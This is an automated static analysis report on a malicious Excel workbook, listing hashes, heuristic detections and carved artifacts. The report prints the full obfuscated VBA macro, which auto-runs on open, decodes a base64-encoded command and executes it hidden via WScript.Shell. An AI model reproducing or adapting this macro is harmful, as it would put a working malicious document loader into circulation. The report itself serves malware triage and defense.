Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 77b475bb8c16089f…

MALICIOUS

Office (OOXML)

17.2 KB Created: 2021-07-05 10:24:22 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-07-10
MD5: 5223442e5e6ef234f2b51bfad66a1e99 SHA-1: 6702e3ce00fd6643188ceb72971eb51f9b887c3f SHA-256: 77b475bb8c16089f778e773de73a473b598beeaab88de7ce56572474f4fa009e
230 Risk Score

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    xdfhcbnbzbxguetm = 0
egwhpuwnxoauucoubozim = "WSCript.shell"
Set cjjupxuj = CreateObject(egwhpuwnxoauucoubozim)
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    xdfhcbnbzbxguetm = 0
egwhpuwnxoauucoubozim = "WSCript.shell"
Set cjjupxuj = CreateObject(egwhpuwnxoauucoubozim)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    egwhpuwnxoauucoubozim = "WSCript.shell"
Set cjjupxuj = CreateObject(egwhpuwnxoauucoubozim)
bsylrcukjmcobxucjnfygygnuplptgss = cjjupxuj.Run(osdydlepupcluefihwdjyuqukymyr, xdfhcbnbzbxguetm)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub workbook_open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 6571 bytes
SHA-256: f5a6ee6413ec7a2f8beb69aee423eee0d893089faa81e48367d3b27b7a87cb50
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 8 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub workbook_open()

ham.ptzf
erer = 53

End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "ham"
Sub ptzf()
On Error Resume Next
ska = bx_____d(135) & bx_____d(177) & bx_____d(168) & bx_____d(100) & bx_____d(115) & bx_____d(135) & bx_____d(100) & bx_____d(148) & bx_____d(179) & bx_____d(162) & bx_____d(187) & bx_____d(162) & bx_____d(137) & bx_____d(150) & bx_____d(151) & bx_____d(162) & bx_____d(140) & bx_____d(137) & bx_____d(162) & bx_____d(176) & bx_____d(144) & bx_____d(100) & bx_____d(113) & bx_____d(137) & bx_____d(100)
ska = ska & "WwBzAHkAUwBUAGUAbQAuAFQARQB4AFQALgBlAG4AQwBPAEQAaQBuAGcAXQA6ADoAVQBuAEkAYwBPAGQAZQAuAGcAZQBUAHMAdABSAGkAbgBnACgAWwBzAFkAUwB0AGUAbQAuAEMAbwBuAFYARQBSAFQAXQA6ADoARgByAE8AbQBCAGEAUwBlADYANABTAHQAUgBJAE4AZwAoACIAZABBAEIAeQBBAEgAawBBAEkAQQBCADcAQQBHAFkAQQBiAHcAQgB5AEEAQwBBAEEASwBBAEEAawBBAEcAawBBAFAAUQBBAHgAQQBEAHMAQQBJAEEAQQBrAEEARwBrAEEASQBBAEEAdABBAEcAdwBBAFoAUQBBAGcAQQBEAGsAQQBNAEEAQQB3AEEARABBAEEATwB3AEEAZwBBAEMAUQBBAGEAUQBBAHIAQQBDAHMAQQBLAFEAQQBnAEEASABzAEEASgBBAEIAcABBAEMAdwBBAEkAZwBCAGcAQQBHADQAQQBJAGcAQgA5AEEASAAwAEEASQBBAEIAagBBAEcARQBBAGQAQQBCAGoAQQBHAGcAQQBlAHcAQgA5AEEAQQAwAEEAQwBnAEIAbQBBA"
ska = ska & "EgAVQBBAGIAZwBCAGoAQQBIAFEAQQBhAFEAQgB2AEEARwA0AEEASQBBAEIAcABBAEcAUQBBAGEAUQBCAHEAQQBHAFEAQQBjAFEAQgB3AEEARwBnAEEAYwB3AEIAegBBAEcAWQBBAGQAUQBCADIAQQBIAGsAQQBhAGcAQgBqAEEARwA4AEEAYgBnAEEAZwBBAEMAZwBBAEkAQQBBAGsAQQBHADAAQQBaAHcAQgBwAEEASABrAEEAZQBnAEIAeQBBAEgAWQBBAGQAZwBCAHgAQQBHAFEAQQBZAGcAQgB1AEEASABVAEEAWQBnAEIAegBBAEcAVQBBAFoAUQBCADEAQQBHAG8AQQBJAEEAQQBzAEEAQwBBAEEASgBBAEIAdwBBAEcAZwBBAGEAUQBCAG8AQQBHAHMAQQBkAGcAQgAwAEEASABRAEEAWQBRAEIAegBBAEcAbwBBAGIAdwBCAGgAQQBHADgAQQBaAFEAQgBoAEEASABNAEEAZQBnAEEAZwBBAEMAawBBAEQAUQBBAEsAQQBIAHMAQQBJAEEAQgBwAEEARwAwAEEAYwBBAEIAdgBBAEYASQBBAGQAQQBBAHQAQQBHADAAQQ"
ska = ska & "BiAHcAQgBrAEEARgBVAEEAYgBBAEIAbABBAEMAQQBBAFkAZwBCAEoAQQBIAFEAQQBVAHcAQgBVAEEASABJAEEAUQBRAEIAdQBBAEYATQBBAFIAZwBCAEYAQQBGAEkAQQBPAHcAQQBOAEEAQQBvAEEAVQB3AEIAVQBBAEcARQBBAGMAZwBCAFUAQQBDADAAQQBZAGcAQgBwAEEARgBRAEEAYwB3AEIAMABBAEgASQBBAFEAUQBCAE8AQQBIAE0AQQBaAGcAQgBGAEEARgBJAEEASQBBAEEAdABBAEYATQBBAGIAdwBCADEAQQBIAEkAQQBZAHcAQgBsAEEAQwBBAEEASgBBAEIAdABBAEcAYwBBAGEAUQBCADUAQQBIAG8AQQBjAGcAQgAyAEEASABZAEEAYwBRAEIAawBBAEcASQBBAGIAZwBCADEAQQBHAEkAQQBjAHcAQgBsAEEARwBVAEEAZABRAEIAcQBBAEMAQQBBAEwAUQBCAGsAQQBFAFUAQQBVAHcAQgAwAEEARwBrAEEAVABnAEIAaABBAEYAUQBBAFMAUQBCAHYAQQBFADQAQQBJAEEAQQBrAEEASABBAEEAYQBBAEI"
ska = ska & "AcABBAEcAZwBBAGEAdwBCADIAQQBIAFEAQQBkAEEAQgBoAEEASABNAEEAYQBnAEIAdgBBAEcARQBBAGIAdwBCAGwAQQBHAEUAQQBjAHcAQgA2AEEARABzAEEASQBBAEEAbQBBAEMAQQBBAEoAQQBCAHcAQQBHAGcAQQBhAFEAQgBvAEEARwBzAEEAZABnAEIAMABBAEgAUQBBAFkAUQBCAHoAQQBHAG8AQQBiAHcAQgBoAEEARwA4AEEAWgBRAEIAaABBAEgATQBBAGUAZwBBADcAQQBDAEEAQQBmAFEAQgAwAEEASABJAEEAZQBRAEIANwBBAEMAUQBBAGQAUQBCAHEAQQBHAGMAQQBjAGcAQgB4AEEARwBVAEEAYwBBAEIAaABBAEgAWQBBAFkAZwBCADAAQQBHAHcAQQBiAFEAQgB6AEEASABRAEEAYwB3AEIAeQBBAEgATQBBAGMAUQBCAG8AQQBIAEkAQQBjAGcAQgBsAEEARAAwAEEASgBBAEIAbABBAEcANABBAGQAZwBBADYAQQBIAFEAQQBaAFEAQgBOAEEARgBBAEEASwB3AEEAbgBBAEYAdwBBAGIAZwBCADUAQQBI"
ska = ska & "AEkAQQBlAFEAQQB1AEEARwBVAEEAZQBBAEIAbABBAEMAYwBBAE8AdwBBAE4AQQBBAG8AQQBhAFEAQgBrAEEARwBrAEEAYQBnAEIAawBBAEgARQBBAGMAQQBCAG8AQQBIAE0AQQBjAHcAQgBtAEEASABVAEEAZABnAEIANQBBAEcAbwBBAFkAdwBCAHYAQQBHADQAQQBJAEEAQQBuAEEARwBnAEEAZABBAEIAMABBAEgAQQBBAGMAdwBBADYAQQBDADgAQQBMAHcAQgB0AEEARwBrAEEAYgBRAEIAegBBAEcAMABBAFkAUQBCADAAQQBIAEkAQQBhAFEAQgB0AEEARwA4AEEAYgBnAEIANQBBAEMANABBAFkAdwBCAHYAQQBHADAAQQBMAHcAQgBtAEEARwBrAEEAZQBnAEIAbABBAEMAOABBAE0AZwBCAGEAQQBFAFkAQQBjAHcAQgB4AEEASABNAEEATgB3AEIAawBBAEgAZwBBAE4AZwBCAFMAQQBFAG8AQQBSAGcAQgBIAEEARQBvAEEATABnAEIAbABBAEgAZwBBAFoAUQBBAG4AQQBDAEEAQQBKAEEAQgAxAEEARwBvAEEAW"
ska = ska & "gB3AEIAeQBBAEgARQBBAFoAUQBCAHcAQQBHAEUAQQBkAGcAQgBpAEEASABRAEEAYgBBAEIAdABBAEgATQBBAGQAQQBCAHoAQQBIAEkAQQBjAHcAQgB4AEEARwBnAEEAYwBnAEIAeQBBAEcAVQBBAE8AdwBBAE4AQQBBAG8AQQBhAFEAQgBrAEEARwBrAEEAYQBnAEIAawBBAEgARQBBAGMAQQBCAG8AQQBIAE0AQQBjAHcAQgBtAEEASABVAEEAZABnAEIANQBBAEcAbwBBAFkAdwBCAHYAQQBHADQAQQBJAEEAQQBuAEEARwBnAEEAZABBAEIAMABBAEgAQQBBAGMAdwBBADYAQQBDADgAQQBMAHcAQgB0AEEARwBrAEEAYgBRAEIAegBBAEcAMABBAFkAUQBCADAAQQBIAEkAQQBhAFEAQgB0AEEARwA4AEEAYgBnAEIANQBBAEMANABBAFkAdwBCAHYAQQBHADAAQQBMAHcAQgBtAEEARwBrAEEAZQBnAEIAbABBAEMAOABBAE0AZwBCAGEAQQBFAFkAQQBjAHcAQgB4AEEASABNAEEATgB3AEIAawBBAEgAZwBBAE4AZwBCAF"
ska = ska & "MAQQBFAG8AQQBSAGcAQgBIAEEARQBvAEEATABnAEIAbABBAEgAZwBBAFoAUQBBAG4AQQBDAEEAQQBKAEEAQgAxAEEARwBvAEEAWgB3AEIAeQBBAEgARQBBAFoAUQBCAHcAQQBHAEUAQQBkAGcAQgBpAEEASABRAEEAYgBBAEIAdABBAEgATQBBAGQAQQBCAHoAQQBIAEkAQQBjAHcAQgB4AEEARwBnAEEAYwBnAEIAeQBBAEcAVQBBAE8AdwBBAE4AQQBBAG8AQQBhAFEAQgBrAEEARwBrAEEAYQBnAEIAawBBAEgARQBBAGMAQQBCAG8AQQBIAE0AQQBjAHcAQgBtAEEASABVAEEAZABnAEIANQBBAEcAbwBBAFkAdwBCAHYAQQBHADQAQQBJAEEAQQBuAEEARwBnAEEAZABBAEIAMABBAEgAQQBBAGMAdwBBADYAQQBDADgAQQBMAHcAQgB0AEEARwBrAEEAYgBRAEIAegBBAEcAMABBAFkAUQBCADAAQQBIAEkAQQBhAFEAQgB0AEEARwA4AEEAYgBnAEIANQBBAEMANABBAFkAdwBCAHYAQQBHADAAQQBMAHcAQgBtAEEARwB"
ska = ska & "rAEEAZQBnAEIAbABBAEMAOABBAE0AZwBCAGEAQQBFAFkAQQBjAHcAQgB4AEEASABNAEEATgB3AEIAawBBAEgAZwBBAE4AZwBCAFMAQQBFAG8AQQBSAGcAQgBIAEEARQBvAEEATABnAEIAbABBAEgAZwBBAFoAUQBBAG4AQQBDAEEAQQBKAEEAQgAxAEEARwBvAEEAWgB3AEIAeQBBAEgARQBBAFoAUQBCAHcAQQBHAEUAQQBkAGcAQgBpAEEASABRAEEAYgBBAEIAdABBAEgATQBBAGQAQQBCAHoAQQBIAEkAQQBjAHcAQgB4AEEARwBnAEEAYwBnAEIAeQBBAEcAVQBBAE8AdwBBAE4AQQBBAG8AQQBmAFEAQgBqAEEARwBFAEEAZABBAEIAagBBAEcAZwBBAGUAdwBCADkAQQBBAD0APQAiACkAKQB8AEkAZQB4AA=="


atttaktgwkdxkothlfvdcqdltwnlvbpzisdmco = ska
obiwiplcoerm (atttaktgwkdxkothlfvdcqdltwnlvbpzisdmco)
End Sub
Sub bdgbf()
    MsgBox "dsfgdsf gvbdfhdhgdf"
End Sub
Function obiwiplcoerm(osdydlepupcluefihwdjyuqukymyr As String)
xdfhcbnbzbxguetm = 0
egwhpuwnxoauucoubozim = "WSCript.shell"
Set cjjupxuj = CreateObject(egwhpuwnxoauucoubozim)
bsylrcukjmcobxucjnfygygnuplptgss = cjjupxuj.Run(osdydlepupcluefihwdjyuqukymyr, xdfhcbnbzbxguetm)
End Function
Function bx_____d(z____P)
opcvb = "gbfddfh  hnfgnfgj kgghkj uyjyu"
bx_____d = ChrW(z____P - 68)
bfg = "bghhfgdf yy54y ryutgrgrt7j 456445t5"
End Function
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 23552 bytes
SHA-256: f9f99626bf73c8aca00efdd2f4a289a3ea86791f89a25eb5d1defa9019e76382
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 8 long base64-like blob(s).

Open this report in the interactive analyzer, or submit your own file for analysis.